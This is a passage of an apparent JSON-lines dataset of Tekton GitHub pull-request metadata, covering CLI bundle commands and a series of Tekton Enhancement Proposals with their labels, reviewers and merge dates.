requiring upgrade notices or deprecation warnings)\r\n- [x] Release notes contains the string \"action required\" if the change requires additional action from users switching to the new release\r\n\r\n# Release Notes\r\n\r\n``` release-note\r\nSupport structured results for PipelineRunObject.\r\n```\r\n", "created_at": "2022-10-20T17:50:19Z", "deletions": 23, "discovered_via": "tep_file_link", "files_changed": 4, "labels": ["size/L", "lgtm", "approved"], "linked_issues": [595], "merged_at": "2022-11-04T14:17:46Z", "pr_number": 599, "repo": "chains", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["chuangw6", "wlynch", "ywluogg"], "title": "Support structured results for PipelineRunObject"} +{"additions": 1774, "body": "# Changes\r\n\r\nIntroduces a `tkn bundle push` command to produce a valid Tekton bundle.\r\n\r\nThis change is part of TEP#31: https://github.com/tektoncd/community/blob/main/teps/0031-tekton-bundles-cli.md\r\n\r\nThis adds a `bundle` top level command and a `bundle push` subcommand which takes file or `stdin` input (similar to `kubectl apply -f -`) to produce a Tekton bundle from a set of valid YAML or JSON Tekton objects.\r\n\r\nIt supports:\r\n- multiple objects in one file\r\n- stdin input\r\n- fully-qualified Tekton Bundle references\r\n- bearer token or basic auth\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Run the code checkers with `make check`\r\n- [x] Regenerate the manpages, docs and go formatting with `make generated`\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/cli/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n# Release Notes\r\n\r\n```release-note\r\nAdds a `tkn bundle push` command to generate valid Tekton Bundles\r\n```\r\n\r\n", "created_at": "2021-02-25T01:37:27Z", "deletions": 1, "discovered_via": "tep_file_link", "files_changed": 26, "labels": ["lgtm", "approved", "size/XXL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-03-15T12:23:49Z", "pr_number": 1312, "repo": "cli", "review_decision": "APPROVED", "reviewer_logins": ["pierretasci", "vdemeester"], "title": "Introduce a tkn bundle push command to produce Tekton bundles"} +{"additions": 1048, "body": "# Changes\r\n\r\nAdds a bundle pull command:\r\n\r\n`tkn bundle pull ` -> returns a list of all Tekton resources in bundle\r\n`tkn bundle pull ` -> returns a list of all Tekton resources of a selected kind\r\n`tkn bundle pull ` -> fetches a single named resource from the bundle\r\n\r\n- adds a reader library for iteratively retreiving the contents of a tekton bundle using the visitor pattern to print the contents\r\n- implements a `pull` command to fetch a reference and print the contents in the kubernetes style\r\n- allows for filtering of the contents by kind and subsequently name\r\n- includes test for the above\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [x] Run the code checkers with `make check`\r\n- [x] Regenerate the manpages, docs and go formatting with `make generated`\r\n- [x] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/cli/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n# Release Notes\r\n\r\n```release-note\r\n`tkn bundle pull` will fetch the contents of a Tekton bundle\r\n```\r\n", "created_at": "2021-03-17T00:03:28Z", "deletions": 27, "discovered_via": "tep_file_link", "files_changed": 23, "labels": ["lgtm", "approved", "size/XXL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2021-03-25T09:04:47Z", "pr_number": 1328, "repo": "cli", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["chmouel", "pierretasci", "vdemeester", "vinamra28"], "title": "Add a bundle pull command to fetch tekton bundle contents"} +{"additions": 59818, "body": "TEP (WIP)\r\n\r\nThis is an experiment to try out if it is possible to use local source and it seems it is :)\r\n\r\nThis adds support to use copy files on the local machine to a workspace and use it in a pipeline instead of \r\ncloning from a git repository.\r\n\r\nThis is currently implemented in the `tkn pipeline start` command in which if the \r\nthe pipeline has a workspace then it will ask the user if they want to copy files from \r\nlocal machine into the workspace.\r\n\r\nIf said yes, the name of the workspace and path to the directory is asked.\r\n\r\nCurrently, a PVC is created for the workspace, and files are copied into it.\r\nThe size of PVC is fixed in code but later can be asked as input for the user.\r\n\r\nApproach:\r\n- Creates a pvc with same name as a workspace (Size: 1Gi)\r\n- Spin up an nginx pod which mount on the pvc created.\r\n- Uses kubectl cp command (kubectl pkg) to copy the directory from the local machine\r\n- Once copied, deletes the nginx pod.\r\n \r\nSigned-off-by: Shivam Mukhade \r\n\r\ncc @vdemeester \r\n\r\n# Changes\r\n\r\n\r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [ ] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [ ] Run the code checkers with `make check`\r\n- [ ] Regenerate the manpages, docs and go formatting with `make generated`\r\n- [ ] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/cli/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n# Release Notes\r\n\r\n\r\n", "created_at": "2021-03-22T14:46:27Z", "deletions": 2, "discovered_via": "tep_file_link", "files_changed": 256, "labels": ["size/XXL", "needs-rebase", "lifecycle/rotten", "release-note"], "linked_issues": [], "merged_at": null, "pr_number": 1334, "repo": "cli", "review_decision": "COMMENTED", "reviewer_logins": ["vinamra28"], "title": "Use files on local machine in a pipeline (Experiment)"} +{"additions": 637339, "body": "\r\n\r\n# Changes\r\n\r\n\r\n\r\nAdds a new sub-command to simplify performing some `chains` management\r\ntasks like extracting the payload or the signature from a task run.\r\n\r\nThe goal of this PR is to get feedback about the idea of adding a new command and\r\nsub-commands to perform some Tekton Chains operations. I believe it\r\nis more user-friendly to use the CLI instead of a combination of `kubectl` and `jq`.\r\n\r\nIn this PR I simply added 2 sub-commands, but in the future we could envision adding\r\nmore, like for example changing the formatter (i.e. updating the Chains config map to\r\nswitch between \"tekton-provenance\" and \"in-toto\"), or verify the validity of the\r\nsignature. \r\n\r\n# Submitter Checklist\r\n\r\nThese are the criteria that every PR should meet, please check them off as you\r\nreview them:\r\n\r\n- [x] Includes [tests](https://github.com/tektoncd/community/blob/master/standards.md#principles) (if functionality changed/added)\r\n- [X] Run the code checkers with `make check`\r\n- [X] Regenerate the manpages, docs and go formatting with `make generated`\r\n- [X] Commit messages follow [commit message best practices](https://github.com/tektoncd/community/blob/master/standards.md#commit-messages)\r\n\r\n_See [the contribution guide](https://github.com/tektoncd/cli/blob/master/CONTRIBUTING.md)\r\nfor more details._\r\n\r\n# Release Notes\r\n\r\n\r\n", "created_at": "2021-08-27T19:00:08Z", "deletions": 1794, "discovered_via": "tep_file_link", "files_changed": 2761, "labels": ["lgtm", "approved", "size/XXL", "ok-to-test", "release-note"], "linked_issues": [], "merged_at": "2022-03-03T15:01:16Z", "pr_number": 1440, "repo": "cli", "review_decision": "APPROVED", "reviewer_logins": ["06kellyjac", "piyush-garg", "rgreinho", "vdemeester"], "title": "Add Chains management command"} +{"additions": 694, "body": "TEP proposal for configuring post-pipeline integrations for Tekton\r\nPipelines via annotations and statuses.\r\n\r\n/cc @afrittoli @dlorenc @ImJasonH @bobcatfish @dibyom @bigkevmcd ", "created_at": "2020-07-13T23:53:07Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/XL"], "linked_issues": [], "merged_at": null, "pr_number": 147, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["dlorenc", "imjasonh", "n3wscott", "vdemeester", "wlynch"], "title": "TEP-0004: Tekton Integrations - Annotations and Statuses"} +{"additions": 621, "body": "Conditions is a CRD used to specify a criteria to determine whether or\r\nnot a Task executes. When other Tekton resources were migrated to beta,\r\nit remained in alpha because it was missing features needed by users.\r\nAfter analyzing the feature requests and discussing with users, we have\r\nidentified that the most critical gaps in Conditions are simplicity,\r\nefficiency and skipping. We want to address these gaps so that it can\r\nwork well with the other Pipeline resources and users can count on its\r\nstability.", "created_at": "2020-07-22T19:00:14Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/XL"], "linked_issues": [], "merged_at": "2020-08-04T13:54:05Z", "pr_number": 159, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["bobcatfish", "jerop", "jlpettersson", "pritidesai", "vdemeester"], "title": "TEP-0007: Conditions Beta"} +{"additions": 551, "body": "This is a WIP but I want to open it so folks can comment and I don't block anyone.\r\n\r\nI've been porting this from the original test infra design, I'm currently [in the section on Pipeline design](https://docs.google.com/document/d/1-czjvjfpuIqYKsfkvZ5RxIbtoFNLTEtOxaZB71Aehdg/edit#heading=h.hzcpipuqmb1u), trying to be more specific about how exactly the Pipeline(s) would work and what Tasks are required.\r\n\r\nTODO:\r\n- [ ] Add detailed list of Tasks required\r\n- [ ] Finish porting [content of original design doc](https://docs.google.com/document/d/1-czjvjfpuIqYKsfkvZ5RxIbtoFNLTEtOxaZB71Aehdg/edit#heading=h.hzcpipuqmb1u)\r\n- [x] Fill in user stories\r\n- [ ] Fill in risks + mitigations\r\n- [ ] Fill in performance\r\n- [ ] Fill in test plan\r\n- [ ] Fill in drawbacks\r\n- [ ] Fill in alternatives\r\n- [ ] Update TOC", "created_at": "2020-08-10T15:48:41Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["do-not-merge/work-in-progress", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 170, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "dlorenc", "popcor255", "vdemeester"], "title": "TEP for Catalog Test Requirements and Infra for Verified+"} +{"additions": 27, "body": "Moved TEP to status to **Implementable**\r\n\r\nAddressed few open points from `proposed` state PR https://github.com/tektoncd/community/pull/162\r\n1. naming convention as part of this comment https://github.com/tektoncd/community/pull/162#discussion_r467945712\r\n\r\n2. How to handle `annotation/labels` as part of this comment https://github.com/tektoncd/community/pull/162#discussion_r467932988\r\n\r\n To address this specifically changed a bit in design doc \r\n 1. for kubernetes based deployment lets use [WithPodSpec](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L49) instead of [WithPod](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L41) duck type \r\nbecause if we use [WithPod](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L41) for kubernetes based resources then user have the flexibility to specify `annotation/labels` as part of [ObjectMeta](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L43) which leads those annotations/labels propagates to `Deployment`.\r\n\r\nIn order to keep consistent with the current behavior i mean `annotation/labels` propagates to Deployment if mentioned as part of EventListener [ObjectMeta](https://github.com/tektoncd/triggers/blob/master/pkg/apis/triggers/v1alpha1/event_listener_types.go#L44)\r\nSo usage of [WithPodSpec](https://github.com/knative/pkg/blob/master/apis/duck/v1/podspec_types.go#L49) avoid all these complexity.\r\n\r\n/cc @dibyom @vdemeester ", "created_at": "2020-08-25T18:01:14Z", "deletions": 14, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/M", "lgtm", "approved", "kind/tep"], "linked_issues": [], "merged_at": "2020-09-02T19:45:14Z", "pr_number": 186, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["savitaashture"], "title": "Changed Knative Triggers TEP Status to Implementable and addressed few open points"} +{"additions": 118, "body": "This TEP proposes a method for pausing PipelineRuns and TaskRuns that are then\r\nignored by the Tekton reconciler. These paused resources can be used by platform\r\nimplementers to control PipelineRun and TaskRun resources, for example, in cases\r\nwhere the cluster is under heavy load and not ready to process a PipelineRun.\r\n\r\nPipelineRuns and TaskRuns can be created paused so that they are not started at\r\nall or, in the case of a PipelineRun, the pause setting can be used to prevent\r\nfurther TaskRuns from being created. As it is not possible to \"pause\" a\r\nKubernetes pod, the pause setting would not affect TaskRuns after they are\r\nstarted.", "created_at": "2020-09-10T22:55:01Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2020-11-12T08:40:27Z", "pr_number": 203, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["FogDong", "bobcatfish", "chhsia0", "imjasonh", "jbarrick-mesosphere", "popcor255", "pritidesai", "vdemeester", "withlin"], "title": "TEP-0015 - Add a pending setting to Tekton PipelineRun and TaskRuns "} +{"additions": 175, "body": "Related: tektoncd/pipeline#3226\r\n\r\nIt is difficult to safely use parameters in a `script:` scalar. This\r\nTEP proposes offering a shell-escaped version of every parameter.", "created_at": "2020-09-16T00:39:19Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 208, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "coryrc", "popcor255", "vdemeester"], "title": "TEP-0017 Propose creating shell-escaped parameters"} +{"additions": 183, "body": "This TEP proposes the way to add other hardware architectures support in Tekton.\r\nIt doesn't cover any specific architecture and can be used as reference for arch specific TEPs.\r\n\r\nThis TEP proposes main concept how Tekton tests and builds can be done for non-amd64 architecture\r\nand provides samples of the Tekton tasks to run the build and e2e tests for Tekton pipeline.\r\nIt suggests to use native hardware for arch specific tasks and amd64 Tekton cluster (similar to dogfooding or itself) \r\nto play master role and manage all the steps. \r\n\r\n", "created_at": "2020-09-18T09:19:32Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2020-10-05T14:16:55Z", "pr_number": 211, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["barthy1", "imjasonh", "mattmoor", "vdemeester"], "title": "TEP-0019: Add other architecture support"} +{"additions": 777, "body": "This TEP proposes a Results API to store long term Tekton results independent of\r\non-cluster runtime data stored in etcd.\r\n\r\n/cc @ImJasonH @afrittoli ", "created_at": "2020-09-28T20:31:44Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": "2020-11-16T18:55:29Z", "pr_number": 217, "repo": "community", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["R2wenD2", "afrittoli", "bobcatfish", "vdemeester", "wlynch"], "title": "TEP-0021: Results API"} +{"additions": 434, "body": "This TEP proposes a change to Trigger interceptor handling to ensure\r\nthat incoming input events are not mutated through the triggering\r\nprocess.\r\n\r\nTEP Design for https://github.com/tektoncd/triggers/issues/778", "created_at": "2020-09-29T20:22:38Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2020-11-09T20:13:26Z", "pr_number": 218, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bigkevmcd", "bobcatfish", "dibyom", "wlynch"], "title": "TEP-0022: Triggers - Immutable Input Events"} +{"additions": 282, "body": "After suggestion from @jerop, I have made a rough draft of a TEP for how to limit work related to Pipeline concurrency. This has been discussed in the following two issues:https://github.com/tektoncd/pipeline/issues/2591, https://github.com/tektoncd/pipeline/issues/1305. \r\n\r\nRelated PR: https://github.com/tektoncd/pipeline/pull/3112\r\n\r\nWould be great if you could help out with the TEP @jerop, thank you!\r\n\r\nAs a starting point I understand it as the two issues discuss similar but different things, https://github.com/tektoncd/pipeline/issues/2591 relates to concurrency of tasks within a pipeline while https://github.com/tektoncd/pipeline/issues/1305 the concurrency of several pipelines, but maybe I am misunderstanding the discussions?", "created_at": "2020-10-08T06:50:20Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/L", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 228, "repo": "community", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["NikeNano", "afrittoli", "ibotty", "jerop"], "title": "TEP-0013 for adding a limit to pipeline concurrency"} +{"additions": 536, "body": "This is a Triggers proposal to make interceptors more pluggable and\r\nextensible by making the API uniform across built-in and webhook interceptors\r\n(i.e. using HTTP), and by updating the API to support some missing use cases.\r\n\r\n\r\nThis should allow operators to select which interceptors they'd like to\r\nsupport as part of their installation. In addition, this allows for better\r\nauditability (see TEP-0022), the ability to distinguish between unexpected\r\nerrors and filtered events (i.e. processing is successful but we don't need\r\nto continue; see [#336](https://github.com/tektoncd/triggers/issues/336)),\r\nand leaves the room open to easily extend the interceptor interface in the\r\nfuture.\r\n\r\nTriggers issues:\r\n* https://github.com/tektoncd/triggers/issues/271\r\n* https://github.com/tektoncd/triggers/issues/336\r\n\r\n/kind tep", "created_at": "2020-10-12T16:27:51Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": "2020-11-11T16:18:27Z", "pr_number": 229, "repo": "community", "review_decision": "CHANGES_REQUESTED", "reviewer_logins": ["R2wenD2", "afrittoli", "bobcatfish", "dibyom", "gabemontero", "wlynch"], "title": "TEP-0026- Add TEP for interceptor plugins"} +{"additions": 294, "body": "Listing use cases and problem statement for task results without results based on the latest API changes.", "created_at": "2020-10-22T07:38:21Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-08-02T16:15:18Z", "pr_number": 240, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["GregDritschler", "ScrapCodes", "afrittoli", "bobcatfish", "jerop", "jmcshane", "jromero", "pritidesai", "vdemeester"], "title": "TEP-0048: task results without results - problem statement"} +{"additions": 13, "body": "Previously, we'd proposed to adding `continueAfterSkip` field which\r\ndefaults to false and can be set to true to execute ordering-dependent\r\ntasks\r\n\r\nWe want to update that proposal because:\r\n- using string aliases instead of booleans is preferable because,\r\nas described in the [Kubernetes API policy](https://github.com/kubernetes/community/blob/master/contributors/devel/sig-architecture/api-conventions.md), \"_Think twice about bool\r\nfields. Many ideas start as boolean but eventually trend towards a\r\nsmall set of mutually exclusive options. Plan for future expansions by\r\ndescribing the policy options explicitly as a string type alias._\"\r\n- that naming was misleading\r\n\r\nSo, we propose using a `whenSkipped` field which defaults to `skipBranch`\r\nand users can set to `runBranch` to execute its branch that's made up of\r\nordering-dependent tasks only\r\n\r\nFurther discussed in https://github.com/tektoncd/pipeline/pull/3176\r\n\r\n/cc @pritidesai @bobcatfish \r\n/kind tep", "created_at": "2020-11-02T20:55:59Z", "deletions": 13, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "approved", "size/S", "kind/tep"], "linked_issues": [], "merged_at": "2020-11-03T01:22:23Z", "pr_number": 246, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "jerop"], "title": "TEP-0007: Conditions Beta Skipping - WhenSkipped"} +{"additions": 96, "body": "Adding `scope` and `expressions` field to `when` allow bundling of the\r\nspecifications of when expressions and their skipping options\r\n\r\n`scope` defaults to `Branch` and be set to `Node` in guarded tasks with \r\nordering-dependent tasks only and to allow the execution of the branch\r\n\r\nother alternatives considered in [doc](https://docs.google.com/document/d/1UfX8DPDSZe2xAFgdydr39zkKThrAH4TQtCXC3Y-8kLw/edit?pli=1)\r\n\r\n/cc @bobcatfish @pritidesai @sbwsg ", "created_at": "2020-11-12T22:42:36Z", "deletions": 42, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["lgtm", "size/L", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 258, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "jerop", "pritidesai"], "title": "TEP-0007: Conditions Beta Skipping - When Scope"} +{"additions": 470, "body": "This commit adds a technical proposal to solve the problem statement laid out in\r\n[TEP 0030](https://github.com/tektoncd/community/blob/master/teps/0030-workspace-paths.md).\r\n\r\nWorkspace Paths allow a Task author to name specific important paths that they\r\nrequire be provided on a Workspace or that they promise to produce onto a\r\nWorkspace. These paths are validated by Tekton to ensure that they exist before\r\nor after Steps execute.", "created_at": "2020-12-01T17:23:58Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 1, "labels": ["size/L", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 285, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli"], "title": "TEP 0030 Workspace Paths Technical Proposal"} +{"additions": 158, "body": "Proposing a TEP to ignore step error and provide an option to continue after capturing the non zero exit code.\r\n\r\nRelated issues:\r\n* https://github.com/tektoncd/pipeline/issues/2800\r\n* https://github.com/tektoncd/pipeline/issues/1559", "created_at": "2021-01-08T18:41:29Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-02-25T06:06:44Z", "pr_number": 302, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bobcatfish", "pritidesai", "skaegi", "vdemeester"], "title": "TEP-0040 - ignore step error"} +{"additions": 167, "body": "This TEP proposes to move the image entrypoint lookup to entrypoint binary that\r\nruns in the TaskRun pod.", "created_at": "2021-01-21T14:10:53Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "do-not-merge/hold", "lifecycle/stale", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 310, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "skaegi", "vdemeester", "wlynch", "yaoxiaoqi"], "title": "TEP-0041: Move Image Entrypoint Lookup to the TaskRun Pod"} +{"additions": 531, "body": "We propose using [`Custom Tasks`](https://github.com/tektoncd/pipeline/blob/master/docs/pipelines.md#using-custom-tasks) to provide [Common Expression Language (CEL)](https://github.com/google/cel-spec) support in Tekton Pipelines\r\n[without adding it to the API surface]((https://github.com/tektoncd/community/blob/master/design-principles.md)). \r\n\r\nUsers would define a [`Run`](https://github.com/tektoncd/pipeline/blob/master/docs/runs.md) type with `apiVersion: cel.tekton.dev/v1alpha1` and `kind: CEL`. The `Run` would take the CEL expressions to be evaluated as `Parameters` and would produce the `Results` of the evaluation with the same names as the `Parameters`. The `Results` could be used in `WhenExpressions` or `Parameters` in subsequent `Tasks`.\r\n\r\nThe prototype is available as an experimental project in https://github.com/tektoncd/experimental/tree/master/cel. \r\n\r\n/kind tep\r\n\r\n/cc @ImJasonH @bigkevmcd @pritidesai @bobcatfish @dibyom @souleb @skaegi ", "created_at": "2021-01-21T21:47:45Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lifecycle/frozen", "needs-rebase", "size/XL", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 314, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["vdemeester"], "title": "TEP-0043: Common Expression Language Custom Task (CELRun)"} +{"additions": 1001, "body": "This TEP describes some difficulty folks have run into, especially when\r\ntrying to use Tekton Pipelines without PipelineResources: if you want to\r\nuse the functionality of multiple Tasks, you need to put them together\r\nin a Pipeline and share data between them with volumes. It could be a\r\nuseful abstraction, and more efficient, to make it possible to combine\r\nTasks together without scheduling them on different pods.\r\n\r\nRelated issues:\r\n* [Pipeline Resources Redesign](https://github.com/tektoncd/pipeline/issues/1673)\r\n* [#1838 Extract Pre/Post Steps from PipelineResources 2 design into Tasks](https://github.com/tektoncd/pipeline/issues/1838)\r\n* [Abstract task and nested tasks](https://github.com/tektoncd/pipeline/issues/1796)\r\n* Oldies but goodies:\r\n * [Link inputs and outputs without using volumes](https://github.com/tektoncd/pipeline/issues/617)\r\n * [Design PipelineResource extensibility](https://github.com/tektoncd/pipeline/issues/238)", "created_at": "2021-01-22T23:28:00Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/XXL", "kind/tep"], "linked_issues": [], "merged_at": "2021-03-16T14:15:50Z", "pr_number": 316, "repo": "community", "review_decision": "APPROVED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "jlpettersson", "pritidesai", "skaegi", "vdemeester"], "title": "Add TEP-0044: Decouple Task Composition from Scheduling \u27b0"} +{"additions": 124, "body": "This TEP describes an alternative way to run Pipelines composed of Tasks and Workspaces without any changes for an author and without the need for external storage to back the Workspaces. Without external storage, problems with scheduling of Pods that use the same volume is avoided.\r\n\r\nThis is a formalization of https://github.com/tektoncd/pipeline/issues/3638\r\n\r\nSome wording is stolen from @bobcatfish and [TEP-0044](https://github.com/tektoncd/community/pull/316) (these two TEPs might eventually converge?)", "created_at": "2021-01-26T20:52:32Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["approved", "size/L", "do-not-merge/hold", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 318, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "jlpettersson", "vdemeester"], "title": "Add TEP-0046: Colocation of Tasks and Workspaces (formerly PipelineRun in a Pod)"} +{"additions": 312, "body": "Proposal to enable finally tasks to execute when a pipelinerun has reached timeout.\r\n\r\nAdd a new flag `tasksTimeouts` which will define a timeout for the dag tasks. The finally tasks timeout will be `timeout - tasksTimeout` with `timeout >= tasksTimeout` and ```timeout```being the current timeout flag.\r\n\r\nWhen `tasksTimeout` is not defined, `timeout` is used for the tasks timeout (the behavior is unchanged).\r\n\r\nThis will enable users to manage run time behavior and make sure their finally tasks run as intended by scoping the tasks runtime period.\r\n\r\n/kind tep\r\n\r\ncc @jerop @pritidesai ", "created_at": "2021-01-28T21:28:08Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-04-15T10:12:41Z", "pr_number": 326, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bobcatfish", "jerop", "pritidesai", "souleb", "vdemeester"], "title": "TEP-0046: Finally tasks execution post pipelinerun timeout"} +{"additions": 497, "body": " - With the acceptance of Tekton Catalog Orgranization for tasks,\r\n this TEP proposes the design and structure for organization of\r\n pipelines in Tekton Catalog\r\n\r\nSigned-off-by: Puneet Punamiya ", "created_at": "2021-02-22T05:33:42Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-06-01T15:17:54Z", "pr_number": 352, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["PuneetPunamiya", "afrittoli", "bobcatfish", "jerop", "jromero", "squee1945", "vdemeester"], "title": "TEP- 0067 Tekton Catalog Pipeline Organization"} +{"additions": 135, "body": "A proposal for git and OCI based step reuse in tekton pipelines.\r\n\r\nWe have been [using this approach for months on Jenkins X](https://jenkins-x.io/blog/2021/02/25/gitops-pipelines/) but using a [ko](https://github.com/google/ko) and [mink](https://github.com/mattmoor/mink) style preprocessor up to now. This proposal is for adding this capability natively in tekton\r\n\r\nCheck out the [Step Composition User Guide](https://github.com/jstrachan/pipeline/blob/use/docs/step-composition.md)", "created_at": "2021-03-04T12:38:13Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "needs-rebase", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 369, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["bobcatfish", "vdemeester"], "title": "TEP-0054 Add a step reuse proposal"} +{"additions": 231, "body": "This PR describes the motivation and use cases for composing \r\nand executing Pipelines in Pipelines. \r\n\r\nThe feature would help resolve reusability, composability and \r\nfailure strategies issues in Pipelines.\r\n\r\nReferences:\r\n- [Issue](https://github.com/tektoncd/pipeline/issues/2134)\r\n- [Project Proposal](https://github.com/tektoncd/community/issues/330)\r\n- [Experimental Project](https://github.com/tektoncd/experimental/tree/main/pipelines-in-pipelines)\r\n- [Original Proposal](https://docs.google.com/document/d/14Uf7XQEnkMFBpNYRZiwo4dwRfW6do--m3yPhXHx4ybk/edit)\r\n", "created_at": "2021-03-08T21:48:03Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-04-02T12:01:46Z", "pr_number": 374, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["jerop", "pritidesai", "vdemeester"], "title": "TEP-0056: Pipelines in Pipelines"} +{"additions": 392, "body": "This commit adds a new TEP with a problem statement describing a gap\r\nin Tekton's support for referencing Tasks and Pipelines. Namely, that\r\nthose resources have to be in the cluster or in an OCI registry to be utilized\r\nby the pipelines controller.", "created_at": "2021-03-24T18:26:49Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["lgtm", "approved", "size/L", "kind/tep"], "linked_issues": [], "merged_at": "2021-05-17T16:23:48Z", "pr_number": 389, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["afrittoli", "bobcatfish", "pierretasci", "vdemeester"], "title": "TEP-0060: Remote Resource Resolution"} +{"additions": 259, "body": "Proposing only the problem statement.\r\n\r\n/cc @Tomcli @afrittoli ", "created_at": "2021-05-07T10:46:32Z", "deletions": 0, "discovered_via": "tep_file_link", "files_changed": 2, "labels": ["size/L", "do-not-merge/hold", "lifecycle/rotten", "kind/tep"], "linked_issues": [], "merged_at": null, "pr_number": 422, "repo": "community", "review_decision": "COMMENTED", "reviewer_logins": ["ScrapCodes", 